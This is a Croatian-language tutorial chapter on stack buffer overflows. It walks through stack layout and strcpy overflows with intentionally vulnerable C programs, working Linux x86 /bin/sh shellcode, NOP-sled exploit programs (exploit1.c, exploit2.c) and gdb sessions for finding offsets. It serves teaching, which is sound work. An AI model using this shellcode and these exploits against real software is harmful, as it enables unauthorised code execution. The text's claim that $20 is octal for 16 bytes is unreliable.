2. Preljev spremnika
U računalnoj sigurnosti i programiranju preljev spremnika (engl. buffer overflow) predstavlja programsku grešku koja rezultira neželjenim prekidom rada programa. Preljev spremnika je posljedica toga da program želi pohraniti podatke u neko polje fiksne duljine, a količina podataka koja se treba pohraniti u to polje je veća od veličine polja tj. spremnika i to dovodi do preljeva spremnika, odnosno prepisivanja memorijskih lokacija koje nisu njegove, tj. operacijski sustav mu ih nije dodijelio već nekom drugom procesu. Ovakvo nekontrolirano ponašanje se ipak može "namjestiti" da bude kontrolirano. Programi koji iskorištavaju nedostatke nekog programa i tjeraju ga da radi ono što ne bi trebao, nazivaju se exploiti.
2.1 Organizacija memorije procesa
Da bi razumjeli kako radi preljev stoga ( engl. stack overflows ) moramo razumjeti kako je proces organiziran u memoriji.
Procesi su podijeljeni u tri područja:
- tekst (Text)
- podaci (Data)
- stog (Stack)
Tekst područje je fiksno za neki program, sadrži izvršni kod programa, predviđen je samo za čitanje, nemoguće je pisati po tom dijelu memorije procesa.
Data područje sadrži inicijalizirane i ne inicijalizirane podatke. Statičke varijable su smještene u ovom području. Područje podataka odgovara data-bss sekciji od izvršne datoteke. Njegova veličina može biti promijenjena sa brk() sistemskim pozivom.
Slika 2.1: Memorijsko područje procesa
2.2 Što je Stog
Stog je podatkovna struktura često korišten u računalnim programima. Podaci koji su prvi stavljeni na stog, bit će posljednji izbačeni s njega. Ova osobina se često označava kao "zadnji unutra prvi vani" - LIFO ( engl. last in, first out ).
Nekolicina asemblerskih ( engl. asembler – strojni jezik ) operacija je definirano nad stogom kako bi se lakše rukovalo njime. Dvije najvažnije su PUSH i POP. PUSH dodaje element na vrh stog-a. POP smanjuje veličinu stog-a tako da izbaci posljednji element sa vrha stog-a.
Stog se primjenjuje u ove svrhe:
- za predavanje parametara prilikom poziva neke funkcije
- spremanje povratne adrese na koju se program treba vratiti kada završi sa ovom funkcijom
- za dinamičko definiranje lokalnih podataka (varijabli)
Opis registara koji su potrebni za daljnje razumijevanje:
- SP - ESP sadrži pokazivač na vrh stoga-a
- FP - EBP često je pokazivač na okvir memorijske stranice
- IP - EIP je pokazivač na trenutnu instrukciju koja se izvršava
Stog je kontinuiran blok u memoriji koji sadrži podatke. Registar u procesoru koji se naziva pokazivač stoga (SP – stack pointer) sadrži informaciju (pokazivač) na vrh stoga-a u memoriji. Moderni procesori automatski mijenjaju vrijednosti ovog registra prilikom poziva instrukcija PUSH i POP. O zavisnosti od implementacija stoga će u memoriji ići od viših vrijednosti prema nižim ili obratno. U našim primjerima i primjenama koristit će se stog koji raste prema dolje. Ovakav slučaj je kod većine popularnih procesora kao npr. Intel, Motorola, SPARC i MIPS procesora. Također, implementacija pokazivača stog-a (SP) može se razlikovati od tipa procesora, ali prihvatiti ćemo da pokazivač stog-a pokazuje na zadnju adresu na stog-u.
Današnji prevodioci za rad sa lokalnim varijablama koriste još jedan registar (FP - frame pointer) za referenciranje lokalnih varijabli i parametara. Na Intel procesorima ovaj registar se zove EBP.
Svaka funkcija prilikom poziva treba napraviti sljedeće korake:
- spasiti prijašnju vrijednost FP
- a zatim kopirati SP u FP kako bi bez problema mogla da definira lokalne varijable.
Ponašanje funkcije ćemo najbolje uočiti na jednostavnom primjeru:
primjer1.c
void function(int a, int b, int c) { char buffer1[5]; char buffer2[10]; } void main() { function(1,2,3); }
|
Zatim prevedemo ovaj programski kod na sljedeći način.
$ gcc -S -o primjer1.s primjer1.c |
Tako ćemo dobiti datoteku primjer1.s koja će sadržavati asemblerski kod programa.
Linija function(1,2,3) je transformirana u:
pushl $3 pushl $2 pushl $1 call function |
On stavlja ( PUSH ) tri parametra od funkcije u obrnutom redoslijedu na stog, a zatim
pozove instrukciju call. Zadatak instrukcije call je:
- Spasiti, staviti (PUSH) na stog, pokazivač do trenutne instrukcije IP.
- Promijeniti vrijednost IP-a na funkciju u memoriji (otići u tu funkciju).
Funkcija će, nakon završetka, učitati sačuvanu vrijednost IP-a, i vratiti se u prijašnje stanje.
Unutar funkcije se događa slijedeće:
pushl %ebp movl %esp,%ebp subl $20,%esp |
Pohrani vrijednost EBP, kopirati SP u EBP, kako bi postao novi FP pokazivač.
Zatim definira lokalne varijable, tako da smanji vrijednost SP-a i napravi mjesta za spremnik buffer od 16 bajta na stog-u (20 - u oktalnom brojevnom sustavu). Memorija se može adresirati samo u veličini djeljivoj sa veličinom integera, u našem slučaju je to broj 4, dakle sve veličine moraju biti djeljive sa 4.
Slikovito prikazano stog-a izgleda ovako:
Slika 2.2: Organizacija stoga u memoriji
Stog se širi obrnuto od širenja memorije, na vrhu memorije je dno stog-a, i to je
recimo neki broj 2000, a dno memorije je vrh stog-a i to je recimo broj 10.
- a, b, c su parametri funkcije
- ret je spremljena vrijednost IP-a
- sfp je spremljena vrijednost EBP-a
- buffer1, buffer2 su lokalne varijable od te funkcije
2.3 Buffer Overflows
Počnimo odmah s primjerom koji ima u sebi grešku.
primjer2.c
void function(char *veliki_string) { char mali_buffer[16]; strcpy(mali_buffer,veliki_string); } void main() { char veliki_string[256]; memset(veliki_string,'A',255); function(veliki_string); } |
Ovaj program ima funkciju sa tipičnom buffer overflow greškom prilikom pisanja programskog koda. Nakon što se završi funkcija program će se srušiti, tj. dobit će se poruka "segmentation violation". Zašto će se to dogoditi?
Ako bolje pogledamo programski kod vidjet ćemo da u glavnoj funkciji main() program puni polje od 256 mjesta sa znakom 'A' i to predaje funkciji kao argument. U samoj funkciji deklarirano je polje od 16 znakova i zatim je prekopirano veliko polje od 256 znakova u polje od 16 znakova bez ikakve provjere granica odnosno veličine polja. Naravno to će izazvati preljev spremnika jer 256 znakova ne stane u 16 znakova te će ostatak biti prepisan u tuđe memorijsko područje i to će izazvati neočekivano rušenje programa.
strcpy(buffer, str) : kopira veliki_string u mali_buffer
- veličina mali_buffer je 16
- veličina veliki_string je 256
- *v_s predstavlja pokazivač na veliki_string
Slika 2.3: Prikaz podataka na stog-u
Dakle, zadatak strcpy() funkcije je da kopira string sve dok ne dođe do bajta u kojem je NULL vrijednost. (NULL vrijednost predstavlja "nulu" u pravom smislu te riječi, 0x00, 0, '\0'), te 250 bajta je prepisano preko nečega što ne pripada njegovom memorijskom prostoru. Spremnik veliki_string napunjen je s znakom 'A' 0x41. Funkcija će nakon povratka pokušati da ode na memoriju 0x41414141. Dogodit će se pogreška jer 0x41414141 je nedefinirana u adresnom prostoru našeg procesa.
A, funkcija je pokušala da uradi to, zato što je u polju ret na stog-u tako pisalo.
[journal]$ gdb ./primjer2 Program received signal SIGSEGV, Segmentation fault. 0x41414141 in ?? () (gdb) quit |
2.4 Shell kod
Dakle, do sada je pokazano kako se može modificirati vrijednost povratne adrese i na taj način pokušati kontrolirati tok izvođenja programa. Ali je pitanje što dalje? Što ustvari želimo uraditi?
Odgovor na ovo pitanje se zove payload ili nagrada za trud.
U ovom slučaju želimo da taj program pokrene shell ili cmd u windows-ima.
Iz shell-a se dalje može pokrenuti bilo koji program i na taj način moguće je raditi sve potrebne radnje. Potrebno je negdje u memoriju staviti shell kod, i modificirati povratak funkcije upravo u taj kod, tako da se on izvrši.
Slijedeći program pokazuje put do pokretanja shell-a u Linux-u preko tzv. shell kodova.
test.c
char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; void main() { int *ret; ret = (int *)&ret + 2; (*ret) = (int)shellcode; } |
Zatim se program prevede i izvrši:
[journal]$ gcc -o test test.c [journal]$ ./test $ ls test test.c $ exit [journal]$ |
Dakle shell kod nije ništa drugo već samo niz instrukcija koje su osmišljene za određenu namjenu. Za potrebe exploita, shell kodovi ne smiju u sebi sadržavati NULL karakter ('\0',0x00,0), jer funkcija strcpy() prilikom kopiranja ukoliko bi naišla na NULL karakter ne bi sve odradila kako treba te napad ne bi uspio.
2.5 Pisanje exploita
Za početak pokažimo jedan jednostavan primjer:
exploit1.c
char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; char large_string[128]; void main() { char buffer[96]; int i; long *long_ptr = (long *) large_string; for (i = 0; i < 32; i++) *(long_ptr + i) = (int) buffer; for (i = 0; i < strlen(shellcode); i++) large_string[i] = shellcode[i]; strcpy(buffer,large_string); } |
Prevedimo ga i izvršimo:
[journal]$ gcc -o exploit1 exploit1.c [journal]$ ./exploit1 $ exit exit [journal]$ |
Napunili smo niz large_string[] s adresom od buffer[] spremnika, koji pokazuje tamo gdje shell kod treba biti smješten. Nakon toga poziva se funkcija za kopiranje strcpy() koja je odradila svoj posao kopiranja, iako se nigdje u programu striktno ne poziva shell kod, ali se on ipak izvrši.
Dakle da ponovimo, prilikom kopiranja large_string u buffer, došlo je do prepisivanja podataka koje se nalaze na stog-u iznad ovog spremnika buffer, jer se stog puni obrnutim redoslijedom. Jedna od stvari koje smo ovim potezom prepisali jeste i pohranjeni povratni pokazivač ret od procesora na stogu-u. Na taj način prepisan je taj pokazivač, sa pokazivačem od željenog shell koda u memoriji, i rezultat je bio pokretanje shell-a bez prave namjere.
Ovaj program je samoinficirajući, zato što sam sebe prevari i izvrši shell kod, naravno u praksi to nije tako.
Problem se javlja kada se želi iz drugog programa isto ovo uraditi, jer se ne može saznati pokazivač od shell koda za taj program. Ali, odgovor je taj da za svaki program na određenom operacijskom sustavu stog će početi na istoj adresi. Mnogi programi ne stavljaju ( PUSH ) više od nekoliko stotina okteta na stog tako da se može čak i pristupiti pogađanju. Primjer programa koji će ispisati svoj stog pokazivač:
sp.c
unsigned long get_sp(void) { __asm__("movl %esp,%eax"); } void main() { printf("0x%x\n", get_sp()); } |
Nakon pokretanja dobit ćemo:
[journal]$ ./sp 0xbffff6a8 [journal]$ |
Ako pretpostavimo da program koji želimo prevariti (iskoristiti) izgleda ovako:
vulnerable.c
void main(int argc, char *argv[]) { char buffer[512]; if (argc > 1) strcpy(buffer,argv[1]); } |
[journal]$ ./vulnerable `perl -e 'print "A" x 524'` Segmentation fault [journal]$ |
Kao što je već do sada spomenuto, teško je pogoditi povratnu adresu. Ukoliko bismo povratni pokazivač promašili jedan oktet niže ili jedan oktet više od našeg shell koda, program bi se neočekivano srušio, zato što pod trenutnim pokazivačem nije instrukcija koja se može izvršiti, već neki slučajni oktet koji je možda dio strojne naredbe te vrlo vjerojatno ne bi ništa korisno uradio. Zato ispred shell koda u memoriju staviti dosta NOP instrukcija. NOP su instrukcije koje ne rade ništa, samo procesor tjeraju naprijed da ide i izvršava kod dok ne dođe do shell koda.
NOP – engl. no operation na Intel procesorima i srodnim je definiran kao 0x90.
Potrebno je da pokazivač pokazivati negdje unutar NOP polja, te tek tada možemo biti sigurni da će shell kod biti uspješno izveden.
Pretpostavljajući da stog počinje sa adresom 0xFF, na donjoj slici, 'S' predstavlja shell kod, a 'N' predstavlja NOP instrukcije, tada bi stog izgledao ovako:
Slika 2.4: Prikazuje shell kod i nop instrukcije na stogu
Te već sada možemo napisati pravi exploit za vulnerable.c program:
exploit2.c
#include <stdlib.h> #define DEFAULT_OFFSET 0 #define DEFAULT_BUFFER_SIZE 512 #define NOP 0x90 char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; unsigned long get_sp(void) { __asm__("movl %esp,%eax"); } void main(int argc, char *argv[]) { char *buff, *ptr; long *addr_ptr, addr; int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; int i; if (argc > 1) bsize = atoi(argv[1]); if (argc > 2) offset = atoi(argv[2]); if (!(buff = malloc(bsize))) { printf("Can't allocate memory.\n"); exit(0); } addr = get_sp() - offset; printf("Using address: 0x%x\n", addr); ptr = buff; addr_ptr = (long *) ptr; for (i = 0; i < bsize; i+=4) *(addr_ptr++) = addr; for (i = 0; i < bsize/2; i++) buff[i] = NOP; ptr = buff + ((bsize/2) - (strlen(shellcode)/2)); for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; buff[bsize - 1] = '\0'; memcpy(buff,"EGG=",4); putenv(buff); system("/bin/bash"); } |
Nakon izvršavanja dobije se kao rezultat sljedeće:
[aleph1]$ ./exploit2 612 Using address: 0xbffffdb4 [aleph1]$ ./vulnerable $EGG $ |
Ovo je primjer koji je dobar za demonstraciju, i koji ima jako uporište ali ipak je malo težak za iskoristiti. Pronalaženje pozicija ( engl. offset ) je u dosta slučajeva veoma teško i zamorno, i ono se razlikuje od situacije do situacije i od računala do računala. Pronalaženje pozicija je opisano u slijedećem poglavlju.
2.6 Pronalaženje pozicije
Imamo sljedeći program:
vulnerable1.c
void main(int argc, char *argv[]) { char buffer[512]; if (argc > 1) strcpy(buffer,argv[1]); } |
Zatim ćemo napisati pomoćni program kome ćemo dodati samo jednu liniju koda.
vulnerable2.c
void main(int argc, char *argv[]) { char buffer[512]; printf("point: %p\n",&argv[1]); if (argc > 1) strcpy(buffer,argv[1]); } |
Kad pokrenemo testni program kao da ćemo ga iskoristiti, ali napravimo neki slučajni offset, a program će ispisati pravi offset, naravno ovo nije pravi offset koji nama treba, jer stog ide u obrnutom redoslijedu, i od ovoga moramo oduzeti veličinu buffer-a i još neke vrijednosti kako bismo dobili traženu vrijednost.
Sljedeća metoda zahtjeva korištenje debugger-a gdb, čije je korištenje na najjednostavniji način prikazan u donjem primjeru.
Opet imamo program vulnerable1.c koji je identičan sa prethodnim primjerom.
[journal]$ ./vulnerable `perl -e 'print "A" x 1000'` Segmentation fault [journal]$ gdb ./vulnerable GNU gdb 5.3-22mdk (Mandrake Linux) Copyright 2002 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i586-mandrake-linux-gnu"... (gdb) set args `perl -e 'print "A" x 1000'` (gdb) r Starting program: /vulnerable `perl -e 'print "A" x 1000'` Program received signal SIGSEGV, Segmentation fault. 0x41414141 in ?? () (gdb) i r eax 0xbffff090 -1073745776 ecx 0xfffffc1c -996 edx 0xbffff85c -1073743780 ebx 0x40157f50 1075150672 esp 0xbffff2a0 0xbffff2a0 ebp 0x41414141 0x41414141 esi 0x40012780 1073817472 edi 0xbffff2e4 -1073745180 eip 0x41414141 0x41414141 eflags 0x10286 66182 cs 0x23 35 ss 0x2b 43 ds 0x2b 43 es 0x2b 43 fs 0x0 0 gs 0x0 0 fctrl 0x37f 895 fstat 0x0 0 ftag 0xffff 65535 fiseg 0x0 0 fioff 0x0 0 foseg 0x0 0 fooff 0x0 0 fop 0x0 0 mxcsr 0x1f80 8064 orig_eax 0xffffffff -1 (gdb) quit |
Prvi način nam je pokazao vrijednost 0xbffff2f8, a drugi je pokazao da je esp - 0xbffff2a0, dok također iz nekih drugih pokušaja smo dobili 0xbffff2e8 dakle, najveća razlika je nekih 88 bajta. Zašto se to javlja?
Kao prvo, nismo gledali iste vrijednosti, u prvom slučaju smo tražili pokazivač od prvog argumenta a u drugom smo tražili pokazivač od stog-a u trenutku kada se program srušio, zato se javila razlika. A inače ako programe pozivamo sa različitim dužinama argumenata i enviroment varijabli, dobit ćemo različite vrijednosti, opet ćemo iskoristiti isti program vulnerable2.c
vulnerable2.c
void main(int argc, char *argv[]) { char buffer[512]; printf("point: %p\n",&argv[1]); if (argc > 1) strcpy(buffer,argv[1]); } |
[journal]$ ./vuln e vuln: 0xbffff718 [journal]$ ./vuln eeeeeeeeeeeeeeeeeeeeeeeeeeeeee vuln: 0xbffff6f8 [journal]$ ./vuln eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee vuln: 0xbffff6e8 |
Zbog ovoga svaku sitnicu moramo uzeti u obzir, sa različitim dužinama argumenata drugačiji su offeseti pa čak i neočekivani offseti se pojavljuju.
Pogledajmo primjer u gdb-u:
(gdb) set args `perl -e 'print "A" x 1000'` (gdb) b main Breakpoint 1 at 0x804837f: file vulnerable1.c, line 3. (gdb) r Starting program: /vulnerable1 `perl -e 'print "A" x 1000'` Breakpoint 1, main (argc=2, argv=0xbffff2e4) at vulnerable.c:3 3 printf(":%p\n", &argv[1]); (gdb) x/5xw 0xbffff2e4 0xbffff2e4: 0xbffff44f 0xbffff473 0x00000000 0xbffff85c 0xbffff2f4: 0xbffff871 (gdb) x/6s 0xbffff473 0xbffff473: 'A' <repeats 200 times>... 0xbffff53b: 'A' <repeats 200 times>... 0xbffff603: 'A' <repeats 200 times>... 0xbffff6cb: 'A' <repeats 200 times>... 0xbffff793: 'A' <repeats 200 times> 0xbffff85b: "" (gdb) q |
U ovom smo poglavlju naučili osnovne funkcije vrlo korisnog debugera gdb i kako ga koristiti po operacijskim sustavom Linux, a u nastavku su prikazane osnovne naredbe gdb debugera.
Osnovne naredbe:
- set args - postavlja argumente programu
- b main - stavlja prekidnu točku na poziv funkcije main()
- r - pokreće program
- ir - pokazuje vrijednosti registara
- x - čita memoriju programa, ako argumente prima npr. x/5xw 0xbffff2e4 - prikazi 5 word podataka što se nalaze na lokaciji iza 0xbffff2e4
- x/6s 0xbffff473 - pročitaj slijedećih 6 znakova koje se nalaze iza 0xbffff473
- q - izlaz iz programa